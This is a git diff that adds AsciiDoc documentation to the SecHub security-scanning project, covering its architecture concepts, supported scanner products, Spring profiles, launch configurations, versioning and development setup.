+ can be a little bit cumbesome. Look at {websiteURL} to + get information about sechub client. + +include::../gen/gen_uc_restdoc.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_all.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_all.adoc new file mode 100644 index 0000000000..a518ad3416 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_all.adoc @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +**About documentation** + +include::../gen/server-version.adoc[] + +[options="header",cols="1,1,1"] +|=== +|Key |Value |Information +//---------------------- +|LICENSE |MIT | Please look at https://github.com/daimler/sechub/LICENSE +|=== + + diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_client.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_client.adoc new file mode 100644 index 0000000000..00f6acc668 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_client.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +**About documentation** + +This documentation was build for SecHub Client v +include::../gen/client-version.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_server.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_server.adoc new file mode 100644 index 0000000000..cc66828b10 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/about_documentation_server.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +**About documentation** + +This documentation was build for SecHub Server v +include::../gen/server-version.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/about_sechub.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/about_sechub.adoc new file mode 100644 index 0000000000..f2973bd8b2 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/about_sechub.adoc @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +**About {sechub}** + +{sechub} is an acronym for `Security Hub` and is first of +all *one API to scan for different security problems*. Users of {sechub} do not +care about which exact product is doing the real scan on server side, but only +configure their wanted aim. + +It was designed to be very easy to integrate into any existing +build pipeline / contionus integration (CI) and helps to provide +**SecDevOps**. + +TIP: You can get more information about {sechub} project from {websiteURL} \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_project_administration.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_project_administration.adoc new file mode 100644 index 0000000000..f7c0eb6559 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_project_administration.adoc @@ -0,0 +1,3 @@ +// SPDX-License-Identifier: MIT +=== Projects +include::project_whitelist.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_simple_domain_driven_design.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_simple_domain_driven_design.adoc new file mode 100644 index 0000000000..fb06c5104d --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_simple_domain_driven_design.adoc @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +[[section-concepts-domain-driven-design]] +To have loose coupling we decided to have an *simple* DDD approach (see https://en.wikipedia.org/wiki/Domain-driven_design). +To avoid too much complexity but keep the domains clearly separated following was done: + +1. Domains do only communicate between each other via EventBus with explicit Domain Messages. + (see also <> ) +2. Every domain has got it's own data pool. We currently use only *ONE* database. But every + domain has got it's own Tables! The tables names starting with a string describing domain + (for example `AUTH_USER` would represent user data for domain authorization...) +3. The "Event Bus" is currently - sechub is a self contained system at the moment - + just a simple Spring injection based publish/subscribe system done simply by implementing Observer pattern. + + + + If there is a need to more decoupling parts the first approach would be + to do a rest call mechanism. Ultra heavyweight approaches like using KAFKA etc. + would be too much (at least at the current situation). + +NOTE: Developers are able to define meta information inside code to obtain full generated messaging diagrams. + + + + See `Technical documentation` for details about documentation generation and how to + use annotations to establish results. diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_targets.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_targets.adoc new file mode 100644 index 0000000000..4d696f4e5d --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/concept_targets.adoc @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +For some security products it's necessary to differ between INTRANET scans and +INTERNET scans. This is called `Target`. + +Maybe the next UML looks a little bit `overwhelming` but it has a reason: +Some products are not able to handle different targets when not being installed +twice, some can do this by some settings etc. {sechub} must be able to automatically call the correct product installation +in such cases. To handle this always the same +way some framework mechanism was introduced, see next chapter: + +[[sechub-concept-installsetup]] +==== Automatic Target resolving and calling of adapters +// see http://plantuml.com/class-diagram for information about PLANT UML syntax +// see https://asciidoctor.org/news/2014/02/18/plain-text-diagrams-in-asciidoctor/ for link syntax +// TODO ATR, 2018-05-09: think about generating some parts here, directly from code instead of typing manually (in future) +plantuml::diagrams/diagram_target_architecture.plantuml[format=svg, alt="Class diagram of target and install setup architecture"] + +The `AbstractInstallSetupProductExecutor` simplifies implementations of upcoming product implementations very much. + +It's able to automatically decide +which target types are wanted to be scanned and automatically trigger calls to implementation for each target type but also with filter uris and ips, +and environment specific parts available by `Install Setup`. It also handles missing setup / unability to scan a target. Currently it will do a simple error logging +when a wanted target cannot be handled by the installation setup. + +NOTE: For an example: + A `Nessus` installation is currently done twice: One for *internet* and one for *intranet*. + The implementation of NessusProductExecutor does not need to check which of the installation must be used, + which password etc. This all done by this abstract implementation. The same for `NetsparkerProductExecutor`, but there + we got only ONE installation - separation is done by agentgroups, but this is also handled automatically. diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/concepts/project_whitelist.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/project_whitelist.adoc new file mode 100644 index 0000000000..bc7bb18d40 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/concepts/project_whitelist.adoc @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +[[section-shared-concepts-projectwhitelist]] +==== Project whitelist + +A project contains always a whitelist of allowed URIs. If a scan is triggered for URI not listed inside the whitelist the scan cannot be done. + +This prevents usage of `{sechub}` as an malicous software to scan other sites and forcing an DoS attack. + diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_mockadapterproperties.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_mockadapterproperties.adoc new file mode 100644 index 0000000000..e76cf450cd --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_mockadapterproperties.adoc @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +[[section-gen-mockproperties]] +TIP: The system properties described here are *automatically* + <> by build server when + developers are using spring annotation `@Value` inside instances implementing MockedAdapter. + If you want details about the mock behavior you have to read the comments inside the java + class being named in description column. + \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_schedule.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_schedule.adoc new file mode 100644 index 0000000000..9011e3ba87 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_schedule.adoc @@ -0,0 +1,4 @@ +// SPDX-License-Identifier: MIT +TIP: The schedule setup described here is <> + by build server when developers are using spring annotation `@Scheduled` in conjunction with the + sechub annotation `@MustBeDocumented` annotation inside code! diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_systemproperties.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_systemproperties.adoc new file mode 100644 index 0000000000..1b1f22b257 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/hint_generated_systemproperties.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +TIP: The system properties described here are *automatically* + <> by build server when + developers are using spring annotation `@Value` in conjunction with the + SecHub annotation `@MustBeDocumented` annotation inside code! diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_docker.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_docker.adoc new file mode 100644 index 0000000000..fbfa0bed91 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_docker.adoc @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-docker]] + +=== Docker + +NOTE: We use normally not docker directly but instead kubernetes. + But we must build the images and upload to registry. Also it's sometimes necessary to start docker containers directly (local...) for debugging + purposes. + diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_kubernetes.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_kubernetes.adoc new file mode 100644 index 0000000000..29e15980e6 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_kubernetes.adoc @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-kubernetes]] +=== Kubernetes + +// TODO de-jcup 2019-05-29: we must adopt this too + +TIP: The existing kubernetes deployment must be made more general. + When this is done, it can be added to OSS variant as well. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_localdevelopment.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_localdevelopment.adoc new file mode 100644 index 0000000000..b606a4de4c --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_localdevelopment.adoc @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-localdevelopment]] +=== Local development + +This section describes the start on local machine _(development/presentation)_. + +Only SecHub itself is described. The products must be either running and well +configured, or profile `mocked_products` must be active. + +See product infrastructure sections for details. + +==== Java launch configuration setup +Because it takes too much time - even when security products are configured with +test profiles (for testing persistence, transaction rollback etc.) a +`mocked_products` profile was introduced which can be used, see +<>. + +It does use normal product executors but injects mocked adapters +(e.g. `MockedNessusAdapter`, `MockedNetsparkerAdapter`, ..) +which do not really communicate with the real security products but return +instead preconfigured values (which where recorded from real communications). + +Startup is done by using active spring profile `mocked_products`. +Some mocks have special options to change their behaviour at runtime. +Please refer to <> for details. + +But you have either to define additional profiles for other stuff or to use + `demomode` where database and environment entries are defined and inherits + automatically `mocked_products`, see + <> for details. + +===== Launch in demo mode +Here an example for calling in demomode: + +include::./../../shared/launchconfig/launchconfig_start_demomode.adoc[] + +===== Launch in DEV mode +include::./../../shared/launchconfig/launchconfig_start_dev_server.adoc[] + +===== Launch in INTEGRATION TEST mode +include::./../../shared/launchconfig/launchconfig_start_integrationtest_server.adoc[] + +===== Launch in PROD mode +include::./../../shared/launchconfig/launchconfig_start_prod_server.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_security_products.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_security_products.adoc new file mode 100644 index 0000000000..1077609cc4 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_security_products.adoc @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-security-products]] +=== Security product integrations + +[NOTE] +==== +This lists all currently supported products. The list will grow in future +and we will also make the product usage more configurable! + +For details about the product configurations please refer also product relevant +<> +==== + +include::products/07_03_01_infra_security_products_netsparker.adoc[] + +include::products/07_03_02_infra_security_products_checkmarx.adoc[] + +include::products/07_03_03_infra_security_products_nessus.adoc[] + +include::products/07_03_99_infra_security_products_sereco.adoc[] \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_springboot.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_springboot.adoc new file mode 100644 index 0000000000..11be2b0498 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/infra_springboot.adoc @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +../shared/infrastructure/[[section-infrastructure-setup-springboot]] +=== Spring boot +include::./../../shared/springboot_profiles.adoc[] + +include::./../../shared/sechub_options.adoc[] + +include::./../../shared/sechub_mockoptions.adoc[] \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_01_infra_security_products_netsparker.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_01_infra_security_products_netsparker.adoc new file mode 100644 index 0000000000..000d40872f --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_01_infra_security_products_netsparker.adoc @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-security-products-netsparker]] + +==== Netsparker +Netsparker is a web scanner. + +see https://www.netsparker.com diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_02_infra_security_products_checkmarx.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_02_infra_security_products_checkmarx.adoc new file mode 100644 index 0000000000..411794a599 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_02_infra_security_products_checkmarx.adoc @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-security-products-checkmarx]] + +==== Checkmarx + +Static code analyzer +see http://www.checkmarx.com/ + + diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_03_infra_security_products_nessus.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_03_infra_security_products_nessus.adoc new file mode 100644 index 0000000000..7d01da6192 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_03_infra_security_products_nessus.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-security-products-nessus]] +==== Nessus + +see https://www.tenable.com diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_99_infra_security_products_sereco.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_99_infra_security_products_sereco.adoc new file mode 100644 index 0000000000..044119c1c3 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/infrastructure/products/07_03_99_infra_security_products_sereco.adoc @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +[[section-infrastructure-setup-security-products-sereco]] +==== Sereco + +`Sereco` is not a product to buy but a own developed `sechub report collector`. + +Why an own report collector? We formerly did try to use an commercial tool, +but we were stuck with many problems, e.g. + +- crucial problems with installation +- no clustering +- missing REST API for imports +- not supporting some product results +- ... more... + +===== Install +The software comes currently up with sechub server installation. So nothing more is to do. + +Scaling etc. is done with sechub scaling. + +====== Future +Currently `Sereco` is an embedded component of `{sechub}`. Maybe there comes a time where `Sereco` will become a seperate server component which will be deployed standalone. +If so there are some changes to do (e.g. creating a rest API) etc. But as long as there is no need for a separate installation +it makes no sense to change this. diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_common_dev_adminui_header.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_common_dev_adminui_header.adoc new file mode 100644 index 0000000000..2ca3da6c66 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_common_dev_adminui_header.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +To start simple swing application `{launchDevAdminUIClasName}` create a new launch configuration with +following arguments: + +class: `{launchDevAdminUIPackageName}.{launchDevAdminUIClasName}` \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_common_server_header.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_common_server_header.adoc new file mode 100644 index 0000000000..1fbc7fe67a --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_common_server_header.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +To start spring boot application `{launchServerClassName}` create a new launch configuration with +following arguments: + +class: `{launchServerPackageName}.{launchServerClassName}` \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_demomode.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_demomode.adoc new file mode 100644 index 0000000000..be0bdd0cc1 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_demomode.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +include::launchconfig_common_server_header.adoc[] +---- +-Dspring.profiles.active=demomode +---- \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_dev_server.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_dev_server.adoc new file mode 100644 index 0000000000..c8fb35ce19 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_dev_server.adoc @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +include::launchconfig_common_server_header.adoc[] +[source] +---- +-Dspring.profiles.active=dev,h2,real_products <1> +-Dsechub.server.debug=true <2> +... +-Dsechub.adapter.name.something.specific=${necessaryData} <3> +... +-Dsechub.storage.sharedvolume.upload.dir=temp <4> +-Dsechub.initialadmin.userid=sechubadm <5> +-Dsechub.initialadmin.email=sechubadm@example.org<5> +-Dsechub.initialadmin.apitoken=pseudo-token-development-only<5> +---- +<1> Enables debug logging, localserver certificates, uses *real products* + and starts server with h2 database. + + - Instead of `h2` profile you could also use profile `postgres` when you + have a running postgres instance available+ + - Also you could use `mocked_products` profile instead of `real_products` + and you will not have to define the adapter specifications. +<2> When debug flag is set, rest call reponse error messages do also contains stacktraces. +<3> This is just an example for a adapter specific setting. Please look into + <> and look for adapter parts. +<4> We use `temp` which is a marker to create a temp folder for shared volume + (_necessary for source upload)_ +<5> _(Optional)_ If nothing is defined per default user with id: `sechubadm`, mail + address `sechubadm@example.org` and API token + `pseudo-token-development-only` will be created (see + `InitialAdminInitializer.java`). + + + + This is for developer convenience to reuse existing launch configurations and have not + always generated new initial apitokens, like done for profile `prod`. + + + + Developers are able to define their own to fix security token for started + develop servers. If so done, the started developer admin UI must use this + inside its launch configuration... + + +WARNING: Your server will not start if you forget any adapter key! +TIP: (see `InitialAdminInitializer.java`). + diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_general_adminui.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_general_adminui.adoc new file mode 100644 index 0000000000..d806d3b97d --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_general_adminui.adoc @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +include::launchconfig_common_dev_adminui_header.adoc[] + +---- +-Dsechub.developertools.admin.integrationtestserver=true +-Dsechub.developertools.admin.server=localhost +-Dsechub.developertools.admin.serverport=8443 +-Dsechub.developertools.admin.userid=int-test_superadmin +-Dsechub.developertools.admin.apitoken=int-test_superadmin-pwd +---- + +The given `userid` and `apitoken` are the credentials, used for every integration test. This are only +test credentials and *never used* in production. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_integrationtest_dev_adminui.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_integrationtest_dev_adminui.adoc new file mode 100644 index 0000000000..b3e94842c0 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_integrationtest_dev_adminui.adoc @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +include::launchconfig_common_dev_adminui_header.adoc[] + +---- +-Dsechub.developertools.admin.server=sechub.example.org <1> +-Dsechub.developertools.admin.serverport=8443 <2> +-Dsechub.developertools.admin.userid=sechubadm <3> +-Dsechub.developertools.admin.apitoken=changeme <3> +---- + +<1> Please replace this with your server location. For development `localhost` +<2> This is the server port. This line is optional, if you do not set default + will be `443`. For development servers at your local machine + you should normally set to `8443`. +<3> Thease are the credentials used for administrative access. + +//FIXME Albert Tregnaghi, 2019-06-12: We must provide environment entries here for security reasons +// everybody able to list running processes of the user can see the API token... + +WARNING: At the moment we have no environment entries for this, but for security reasons this + will come inn next future. Ensure you are the only user on the + diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_integrationtest_server.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_integrationtest_server.adoc new file mode 100644 index 0000000000..eaa637d2b8 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_integrationtest_server.adoc @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +include::launchconfig_common_server_header.adoc[] +[source] +---- +-Dspring.profiles.active=integrationtest,mocked_products,h2 <1> +-Dsechub.server.debug=true <2> +-Dsechub.storage.sharedvolume.upload.dir=temp <3> +---- +<1> Starts server with + - localhost certificate + - uses *mocked products* + - uses h2 database + - always mocked notification + - debug logging activated + - provides special behaviour for integration tests (e.g. get mails, + easy to generate test data etc.) +<2> When debug flag is set, rest call response error messages do also contains + stacktraces. +<3> We use `temp` which is a marker to create a temp folder for shared volume + (_necessary for source upload)_ diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_prod_server.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_prod_server.adoc new file mode 100644 index 0000000000..935aff4787 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/launchconfig/launchconfig_start_prod_server.adoc @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +include::launchconfig_common_server_header.adoc[] +[source] +---- +-Dspring.profiles.active=prod <1> +... +-Dsechub.adapter.name.something.specific=${necessaryData} <2> +... +-Dsechub.storage.sharedvolume.upload.dir=/srv/storage/persistent-volume1 <3> +-Dsechub.initialadmin.userid=real-superadmin<4> +-Dsechub.initialadmin.email=real-superadmin@example.org<4> +-Dserver.ssl.key-store=path/to/keystore.p12 <5> +-Dserver.ssl.key-store-type=PKCS12 <5> +-Dserver.ssl.key-alias=yourKeyAlias <5> +-Dserver.ssl.key-store-password=yourKeyStorePassword <5> +-Dsechub.notification.smtp.hostname=intranet.example.org <6> +-Dsechub.notification.smtp.port=50<6> +-Dsechub.notification.smtp.config=mail.smtp.auth=false<6> +---- +<1> Starts server with + - production certificate + - uses *real products* + - uses always postgres database + - real notification +<2> This is just an example for a adapter specific setting. Please look into + <> and look for adapter parts. +<3> Define here the *absolute path* used for shared volume storage + (_necessary for source upload)_ +<4> When there is no existing admin inside sechub database on startup, + the given user credentials will be automatically created. + + Look at the log output to get the initial, generated API token for admin. + Be aware that you must regenerate a new api token for this user, + or delete the initial admin account after creating another admin, + because credentials are inside logs... +<5> This is PROD environment SSL configuration. The example shows setup for p12 + certificate storage - see spring boot documentation for exact syntax. +<6> Setup for smtp server for mail sending. Port and config are optional. + See <> for details. + +[WARNING] +==== +Your server will not start if you forget an adapter key! +==== \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/sechub_mockoptions.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/sechub_mockoptions.adoc new file mode 100644 index 0000000000..29077969b6 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/sechub_mockoptions.adoc @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +[[sechub-mock-options]] +==== Configuration properties for mocked adapters +ifdef::showhintaboutgenerated[] +include::./../shared/hint_generated_mockadapterproperties.adoc[] +endif::[] +include::./../gen/gen_mockadapterproperties.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/sechub_options.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/sechub_options.adoc new file mode 100644 index 0000000000..624ba3b395 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/sechub_options.adoc @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +==== General configuration properties +ifdef::showhintaboutgenerated[] +include::./../shared/hint_generated_systemproperties.adoc[] +endif::[] +[[link-gen-systemproperties]] +include::./../gen/gen_systemproperties.adoc[] + +==== Scheduling definitions +ifdef::showhintaboutgenerated[] +include::./../shared/hint_generated_schedule.adoc[] +endif::[] +[[link-gen-scheduling]] +include::./../gen/gen_scheduling.adoc[] \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/sechub_versioning.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/sechub_versioning.adoc new file mode 100644 index 0000000000..0cd31cf78a --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/sechub_versioning.adoc @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +==== Versioning +[[sechub-versioning-in-code]] +===== Versions are defined in GIT +Version numbering is done by Developers while adding Tags on GIT system to +commit which is used for build. + +`vX.Y.Z-server` tags are used to define a new server version and +`vX.Y.Z-client` will define a new client version. + +To have GIT tags always uploaded, developers must be aware of the correct +<> at their local development machine. + +TIP: GitHub releases (versions) should be ideal to work with! + +===== Versions used/created at build time + +General used version at build time looks always like: `$versionId-$buildId` +For example `1.2.3-b123` + +NOTE: Every gradle build will regenerate the versioning. Why? Because gradle configuration + phase is always done for ALL gradle stuff! This includes version setup for build. + Means for example: Setting version for server into file only when server build task + will be run does not work, because version setting would be configured before. + + + + We want to ensure that EVERY change to git will have influence to created version, + so its absolutely necessary to ensure version represents always the commit state! + + + + So *DO NOT change* creating version on every build call! + + Having a build problem because something has changed (e.g. generated parts) ensure + `.gitignore` is correctly defined! + + + +====== Version Id +* *Dedicated version* + + Commits having a dedicated version tag will lead to a reduced version info + containing only tag data E.g. a tag with `v1.2.3` will lead to version starting + with `1.2.3` + +* *Commmit ID version* + + When no tag defined the version looks like + `0.0.0-$abreviatedCommitId`. So its still clear which commit this version is. + + For example `0.0.0-cfe34f5` + +* *Dirty version* + + When file system has changed to origin commit the version will be look like + `0.0.0-$abreviatedCommitId-dirty` additionally with `"-dirty"`. + + For example `0.0.0-cfe34f5-dirty` + +====== Build Id +[[section-versioning-local-builds]] +* *Local builds* + + do normally contain a timestamp -e.g . `20190213105029`. + + + + *Using 'latest' instead timestamp* + + If you set gradle property + `sechub.build.timestamp` to `false` instead of the time stamp you will get always + `latest` as build id! So for example: `0.0.0-cfe34f5-dirty-latest`. + + You can do this with calling `./gradlew build -Psechub.build.timestamp=false` or + if you want this behaviour always, just define it inside `~/.gradle/gradle.properties` + +[[section-versioning-server-builds]] +* *Server builds* + + will starts with a `b` and real build number. The build number must be set as environment + + variable `BUILD_NUMBER`. + For example: + + + +For more technical details look into `build-versioning.gradle`. + diff --git a/sechub-doc/src/docs/asciidoc/documents/shared/springboot_profiles.adoc b/sechub-doc/src/docs/asciidoc/documents/shared/springboot_profiles.adoc new file mode 100644 index 0000000000..b413634ded --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/shared/springboot_profiles.adoc @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +[[section-sechub-spring-profiles]] +==== SecHub Spring Profiles +`{sechub}` provides multiple `Spring` profiles + +===== Server + +====== Overview +plantuml::diagrams/gen/gen_springprofiles.puml[format=svg, title="Spring profiles and their explicit/implicit included parts"] + +====== PROD +As name offers, this profile is designed for production. + +plantuml::diagrams/gen/gen_springprofiles-prod.puml[format=svg, title="Spring profile prod and its explicit/implicit included parts"] + +====== DEV +plantuml::diagrams/gen/gen_springprofiles-dev.puml[format=svg, title="Spring profile dev and its explicit/implicit included parts"] + +For development this profile must be combinated with others to get server +starting - but its extreme flexible and has only a dependency to localserver + + + +====== Integration-Test +plantuml::diagrams/gen/gen_springprofiles-integrationtest.puml[format=svg, title="Spring profile integrationtest and its explicit/implicit included parts"] +*SecHub itself* + +We use `integrationtest` profile for server integration tests. You must add some +additional profiles. We use `h2` and `mocked_products` for unit testing +of sechub server itself. + +*Test your security tool suite installation* + +You can use this profile also for testing your security product suite in +combination with sechub server - e.g. when you have done an update at your +product suite and you are not sure if its compatible or the products have bugs. + +But _(at least currently)_ you have to write your own tests then. +Following could be done: + +* Write some simple bash scripts which are using sechub client +* Use `sechub-integrationtest` project as dependency and + write some junit tests using TestAPI. + +if you want to test your installed environment is working you can also use +`real_products`. + + +[NOTE] +==== +We got dedicated profile constants. + +For adapters the constants can be found at `AdapterProfiles`, for all other in `Profiles` (shared kernel). +==== + diff --git a/sechub-doc/src/docs/asciidoc/documents/techdoc/01_development_setup.adoc b/sechub-doc/src/docs/asciidoc/documents/techdoc/01_development_setup.adoc new file mode 100644 index 0000000000..2c683dbdd5 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/techdoc/01_development_setup.adoc @@ -0,0 +1,173 @@ +// SPDX-License-Identifier: MIT +== Development Setup + +=== Preparation +==== Tool installation +You need + +- JAVA 8 JDK +- Go Lang (min 1.10) +- GIT + +NOTE: Go installation is only necessary for client development. All Tools must be accessible from PATH variable + +==== GIT setup + +===== Clone +---- +git clone https://github.com/Daimler/sechub.git +---- + +[[sechub-git-configuration]] +===== GIT Configuration +After clone is done, please go into repository root folder and define + +====== User name and email +Only necessary when not like your global configuration: +---- +git config user.email $yourEmailAddress +git config user.name "$firstName $lastName" +---- + +====== SecHub wanted setup +[source,bash] +---- +git config branch.autosetuprebase always +git config branch.master.rebase true +git config push.default matching +git config core.autocrlf input +git config color.ui auto +git config --add remote.origin.fetch +refs/tags/*:refs/tags/* +---- + +==== IDE setup + +===== Eclipse + +====== Import projects +Open a console in sechub repository root folder and type: + +---- +./gradlew cleanEclipse eclipse assemble +---- + +This will setup all your eclipse settings and you are able to import the now existing projects into a workspace +of your choice. + +====== Create localhost server certificate +This is automatically done by former gradle call, so not necessary here. + 